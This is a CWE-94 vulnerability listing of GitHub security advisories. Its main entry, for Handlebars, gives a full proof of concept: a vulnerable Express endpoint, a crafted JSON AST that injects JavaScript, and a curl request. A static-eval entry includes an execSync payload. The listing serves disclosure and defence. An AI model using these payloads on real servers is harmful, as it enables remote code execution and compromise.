CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9394 vulnerabilities reference this CWE, most recent first.
GHSA-8R5X-FM3F-WHWJ
Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52Summary
Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.
If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.
Applications that only ever pass template strings are not affected.
This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.
Details
The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:
| AST value | Written into generated code as | Compile options needed |
|---|---|---|
Program.blockParams.length |
container.program(<index>, data, <length>) |
none (default options) |
depth on a param that is not a PathExpression, e.g. a StringLiteral |
depths[<depth>] |
stringParams: true |
A StringLiteral.value that is not a string |
raw JavaScript literal | stringParams: true |
A PathExpression.original that is not a string |
raw JavaScript literal | stringParams: true |
The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:
- the
blockParamsobject has notype, so none of the type-specific checks apply, and - the walker skips the string under
lengthbecause it is not an object.
The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.
Proof of Concept
- Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
res.send(template());
});
app.listen(2123);
- Save this request body as
poc.json.missingHelperdoes not need to exist:
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
- Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:
Error: Injected code ran as uid 1000
Impact
An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().
compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Credits
Variant Program.blockParams
- Nick Mykhailyshyn - @whoareme
- jmoritzc53
- bhaswanthc
- dinhvaren
- n0tra4e
- PellaML
- kustundag
- kagebunsher
- sanmatte
Variant BooleanLiteral|NumberLiteral.value
- sondt99 Thai Son Dinh from VinSOC Labs (R&D)
- Ahmed-Elmahgob
- nikolakojic-rasit
- vk-can
- shenhuanageshei
- kustundag
- kagebunsher
- ffasterss
Variant PathExpression.depth
- hibrian827 Team Atlanta
- oss-security-shopify
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.9"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106446"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:52:32Z",
"nvd_published_at": "2026-10-06T20:17:26Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.\n\nIf an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded.\n\nApplications that only ever pass template **strings** are not affected.\n\nThis bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.\n\n## Details\n\nThe 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:\n\n| AST value | Written into generated code as | Compile options needed |\n| --- | --- | --- |\n| `Program.blockParams.length` | `container.program(\u003cindex\u003e, data, \u003clength\u003e)` | none (default options) |\n| `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[\u003cdepth\u003e]` | `stringParams: true` |\n| A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` |\n| A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` |\n\nThe first row works with default options. A `Program` with `blockParams: { \"length\": \"\u003cJS expression\u003e\" }` passes validation because:\n\n1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and\n2. the walker skips the string under `length` because it is not an object.\n\nThe compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block\u0027s helper does not exist.\n\n## Proof of Concept\n\n1. Start a server that compiles request input:\n\n```js\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string\n res.send(template());\n});\n\napp.listen(2123);\n```\n\n2. Save this request body as `poc.json`. `missingHelper` does not need to exist:\n\n```json\n{\n \"text\": {\n \"type\": \"Program\",\n \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } },\n \"body\": [\n {\n \"type\": \"BlockStatement\",\n \"path\": {\n \"type\": \"PathExpression\", \"data\": false, \"depth\": 0,\n \"parts\": [\"missingHelper\"], \"original\": \"missingHelper\",\n \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n },\n \"params\": [],\n \"program\": {\n \"type\": \"Program\",\n \"blockParams\": {\n \"length\": \"(()=\u003e{throw new Error(\u0027Injected code ran as uid \u0027 + process.getuid())})()\"\n },\n \"body\": [],\n \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n },\n \"openStrip\": { \"open\": false, \"close\": false },\n \"inverseStrip\": { \"open\": false, \"close\": false },\n \"closeStrip\": { \"open\": false, \"close\": false },\n \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } }\n }\n ]\n }\n}\n```\n\n3. Send the request:\n\n```sh\ncurl -s -X POST \u0027http://127.0.0.1:2123/api/render\u0027 \\\n -H \u0027Content-Type: application/json\u0027 --data-binary @poc.json\n```\n\nThe server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:\n\n```\nError: Injected code ran as uid 1000\n```\n\n## Impact\n\nAn application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`.\n\n- **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application\u0027s privileges (remote code execution).\n- **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users\u0027 browsers.\n\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.\n\n## Credits\n\n### Variant `Program.blockParams`\n- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)\n- [jmoritzc53 ](https://github.com/jmoritzc53)\n- [bhaswanthc ](https://github.com/bhaswanthc)\n- [dinhvaren ](https://github.com/dinhvaren)\n- [n0tra4e ](https://github.com/n0tra4e) \n- [PellaML](https://github.com/PellaML)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [sanmatte](https://github.com/sanmatte)\n\n### Variant `BooleanLiteral|NumberLiteral.value`\n\n- [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R\u0026D)\n- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)\n- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)\n- [vk-can](https://github.com/vk-can)\n- [shenhuanageshei](https://github.com/shenhuanageshei)\n- [kustundag](https://github.com/kustundag)\n- [kagebunsher](https://github.com/kagebunsher)\n- [ffasterss](https://github.com/ffasterss)\n\n### Variant `PathExpression.depth`\n\n- [hibrian827](https://github.com/hibrian827) Team Atlanta\n- [oss-security-shopify](https://github.com/oss-security-shopify)",
"id": "GHSA-8r5x-fm3f-whwj",
"modified": "2026-10-08T17:52:33Z",
"published": "2026-10-08T17:52:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106446"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/pull/2185"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)"
}
GHSA-8R6G-7RR9-MX32
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-06-30 03:36The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains a remote code execution vulnerability in its Kubeflow component. The robustness evaluation function for PyTorch models uses the unsafe eval() function to dynamically evaluate user-supplied strings for the LossFn and Optimizer parameters without any sanitization or security restrictions. An attacker can exploit this by providing a specially crafted string that contains arbitrary Python code, which will be executed when eval() is called, leading to complete compromise of the system running the ART evaluation.
{
"affected": [],
"aliases": [
"CVE-2026-31228"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T16:16:14Z",
"severity": "CRITICAL"
},
"details": "The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains a remote code execution vulnerability in its Kubeflow component. The robustness evaluation function for PyTorch models uses the unsafe eval() function to dynamically evaluate user-supplied strings for the LossFn and Optimizer parameters without any sanitization or security restrictions. An attacker can exploit this by providing a specially crafted string that contains arbitrary Python code, which will be executed when eval() is called, leading to complete compromise of the system running the ART evaluation.",
"id": "GHSA-8r6g-7rr9-mx32",
"modified": "2026-06-30T03:36:39Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31228"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-31228"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476522"
},
{
"type": "WEB",
"url": "https://github.com/Trusted-AI/adversarial-robustness-toolbox"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31228.json"
},
{
"type": "WEB",
"url": "https://www.notion.so/CVE-2026-31228-35d1e1393188817f9ab0dc4b1651dfe9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8R6J-V8PM-FQW3
Vulnerability from github – Published: 2023-10-06 21:30 – Updated: 2023-10-16 22:21fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.10"
},
"package": {
"ecosystem": "npm",
"name": "fsevents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-45311"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-09T21:35:16Z",
"nvd_published_at": "2023-10-06T21:15:10Z",
"severity": "CRITICAL"
},
"details": "fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary.",
"id": "GHSA-8r6j-v8pm-fqw3",
"modified": "2023-10-16T22:21:52Z",
"published": "2023-10-06T21:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45311"
},
{
"type": "WEB",
"url": "https://github.com/fsevents/fsevents/commit/909af26846834642c81d19f4148afa3b7557b058"
},
{
"type": "WEB",
"url": "https://github.com/atlassian/moo/blob/56ccbdd41b493332bc2cd7a4097a5802594cdb9c/package-lock.json#L1901-L1902"
},
{
"type": "WEB",
"url": "https://github.com/atlassian/react-immutable-proptypes/blob/ddb9fa5194b931bf7528eb4f2c0a8c3434f70edd/package-lock.json#L153"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/authr/blob/3f6129d97d06e61033a7f237d84e35e678db490f/ts/package-lock.json#L1512"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/hugo-cloudflare-docs/blob/e0f7cfa195af8ef1bfa51a487be7d34ba298ed06/package-lock.json#L494"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/redux-grim/blob/b652f99f95fb16812336073951adc5c5a93e2c23/package-lock.json#L266-L267"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/serverless-cloudflare-workers/blob/e95e1e9c9770ed9a3d9480c1fa73e64391268354/package-lock.json#L737"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsevents/fsevents"
},
{
"type": "WEB",
"url": "https://github.com/fsevents/fsevents/compare/v1.2.10...v1.2.11"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-FSEVENTS-5487987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code injection in fsevents"
}
GHSA-8R8F-V2FJ-H7CP
Vulnerability from github – Published: 2024-03-25 15:30 – Updated: 2024-11-14 21:31In Emacs before 29.3, arbitrary Lisp code is evaluated as part of turning on Org mode. This affects Org Mode before 9.6.23.
{
"affected": [],
"aliases": [
"CVE-2024-30202"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-25T15:15:52Z",
"severity": "HIGH"
},
"details": "In Emacs before 29.3, arbitrary Lisp code is evaluated as part of turning on Org mode. This affects Org Mode before 9.6.23.",
"id": "GHSA-8r8f-v2fj-h7cp",
"modified": "2024-11-14T21:31:56Z",
"published": "2024-03-25T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30202"
},
{
"type": "WEB",
"url": "https://git.savannah.gnu.org/cgit/emacs.git/commit/?h=emacs-29\u0026id=befa9fcaae29a6c9a283ba371c3c5234c7f644eb"
},
{
"type": "WEB",
"url": "https://git.savannah.gnu.org/cgit/emacs.git/tree/etc/NEWS?h=emacs-29"
},
{
"type": "WEB",
"url": "https://git.savannah.gnu.org/cgit/emacs/org-mode.git/commit/?id=003ddacf1c8d869b1858181c29ea21b731a8d8d9"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/25/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/04/08/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8R8J-XVFJ-36F9
Vulnerability from github – Published: 2018-12-19 19:25 – Updated: 2024-11-19 18:07ymlref is a library that allows to load Yaml documents and resolve JSON-pointer references inside them. ymlref versions up to 0.1.1 allow code injection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ymlref"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-20133"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:26:33Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "ymlref is a library that allows to load Yaml documents and resolve JSON-pointer references inside them. ymlref versions up to 0.1.1 allow code injection.",
"id": "GHSA-8r8j-xvfj-36f9",
"modified": "2024-11-19T18:07:18Z",
"published": "2018-12-19T19:25:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20133"
},
{
"type": "WEB",
"url": "https://github.com/dexter2206/ymlref/issues/2"
},
{
"type": "PACKAGE",
"url": "https://github.com/dexter2206/ymlref"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ymlref/PYSEC-2018-103.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Code injection in ymlref"
}
GHSA-8RHJ-8GQW-PXM4
Vulnerability from github – Published: 2022-05-02 03:20 – Updated: 2025-04-09 04:09Array index error in the insertItemBefore method in WebKit, as used in Apple Safari before 3.2.3 and 4 Public Beta, iPhone OS 1.0 through 2.2.1, iPhone OS for iPod touch 1.1 through 2.2.1, Google Chrome Stable before 1.0.154.65, and possibly other products allows remote attackers to execute arbitrary code via a document with a SVGPathList data structure containing a negative index in the (1) SVGTransformList, (2) SVGStringList, (3) SVGNumberList, (4) SVGPathSegList, (5) SVGPointList, or (6) SVGLengthList SVGList object, which triggers memory corruption.
{
"affected": [],
"aliases": [
"CVE-2009-0945"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-05-13T17:30:00Z",
"severity": "HIGH"
},
"details": "Array index error in the insertItemBefore method in WebKit, as used in Apple Safari before 3.2.3 and 4 Public Beta, iPhone OS 1.0 through 2.2.1, iPhone OS for iPod touch 1.1 through 2.2.1, Google Chrome Stable before 1.0.154.65, and possibly other products allows remote attackers to execute arbitrary code via a document with a SVGPathList data structure containing a negative index in the (1) SVGTransformList, (2) SVGStringList, (3) SVGNumberList, (4) SVGPathSegList, (5) SVGPointList, or (6) SVGLengthList SVGList object, which triggers memory corruption.",
"id": "GHSA-8rhj-8gqw-pxm4",
"modified": "2025-04-09T04:09:47Z",
"published": "2022-05-02T03:20:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0945"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50477"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11584"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/823-1"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-July/msg00303.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-July/msg01177.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-July/msg01196.html"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=9019"
},
{
"type": "WEB",
"url": "http://googlechromereleases.blogspot.com/2009/05/stable-update-bug-fix.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/Jun/msg00005.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/May/msg00000.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/May/msg00001.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/May/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00006.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35056"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35074"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35095"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35576"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35805"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36062"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36461"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36790"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37746"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43068"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT3549"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT3550"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT3639"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1950"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2009-1130.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/503594/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34924"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022207"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-822-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-836-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-857-1"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA09-133A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1297"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1298"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1321"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1621"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0212"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-09-022"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8RJ6-CWHF-4C77
Vulnerability from github – Published: 2024-02-24 00:30 – Updated: 2025-06-07 21:30An issue in zkteco zkbio WDMS v.8.0.5 allows an attacker to execute arbitrary code via the /files/backup/ component.
{
"affected": [],
"aliases": [
"CVE-2024-22988"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-23T23:15:09Z",
"severity": "CRITICAL"
},
"details": "An issue in zkteco zkbio WDMS v.8.0.5 allows an attacker to execute arbitrary code via the /files/backup/ component.",
"id": "GHSA-8rj6-cwhf-4c77",
"modified": "2025-06-07T21:30:30Z",
"published": "2024-02-24T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22988"
},
{
"type": "WEB",
"url": "https://gist.github.com/whiteman007/b50a9b64007a5d7bcb7a8bee61d2cb47"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/revealing-cve-2024-22988-a-unique-dive-into-exploiting-access-control-gaps-in-zkbio-wdms-uncover-the-untold-crafted-for-beginners-with-a-rare-glimpse-into-pentesting-strategies"
},
{
"type": "WEB",
"url": "https://www.zkteco.com/en/Security_Bulletinsibs/12"
},
{
"type": "WEB",
"url": "https://zkteco.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8RMR-5233-3Q25
Vulnerability from github – Published: 2022-05-01 23:47 – Updated: 2022-05-01 23:47Untrusted search path vulnerability in (1) reportbug 3.8 and 3.31, and (2) reportbug-ng before 0.2008.06.04, allows local users to execute arbitrary code via a malicious module file in the current working directory.
{
"affected": [],
"aliases": [
"CVE-2008-2230"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-11T01:32:00Z",
"severity": "MODERATE"
},
"details": "Untrusted search path vulnerability in (1) reportbug 3.8 and 3.31, and (2) reportbug-ng before 0.2008.06.04, allows local users to execute arbitrary code via a malicious module file in the current working directory.",
"id": "GHSA-8rmr-5233-3q25",
"modified": "2022-05-01T23:47:57Z",
"published": "2022-05-01T23:47:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2230"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43001"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=484311"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=484474"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8RRJ-779C-JH62
Vulnerability from github – Published: 2022-05-01 23:45 – Updated: 2022-05-01 23:45Argument injection vulnerability in the cai: URI handler in rcplauncher in IBM Lotus Expeditor Client for Desktop 6.1.1 and 6.1.2, as used by Lotus Symphony and possibly other products, allows remote attackers to execute arbitrary code by injecting a -launcher option via a cai: URI, as demonstrated by a reference to a UNC share pathname.
{
"affected": [],
"aliases": [
"CVE-2008-1965"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-25T19:05:00Z",
"severity": "HIGH"
},
"details": "Argument injection vulnerability in the cai: URI handler in rcplauncher in IBM Lotus Expeditor Client for Desktop 6.1.1 and 6.1.2, as used by Lotus Symphony and possibly other products, allows remote attackers to execute arbitrary code by injecting a -launcher option via a cai: URI, as demonstrated by a reference to a UNC share pathname.",
"id": "GHSA-8rrj-779c-jh62",
"modified": "2022-05-01T23:45:22Z",
"published": "2022-05-01T23:45:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1965"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41990"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/fulldisclosure/2008-04/0640.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29958"
},
{
"type": "WEB",
"url": "http://thomas.pollet.googlepages.com/lotusexpeditorurihandlervulnerability"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?uid=swg21303813"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/491343/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28926"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019951"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019952"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1394/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8V27-2FG9-7H62
Vulnerability from github – Published: 2021-05-06 16:11 – Updated: 2021-05-06 16:12All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
WITHDRAWN
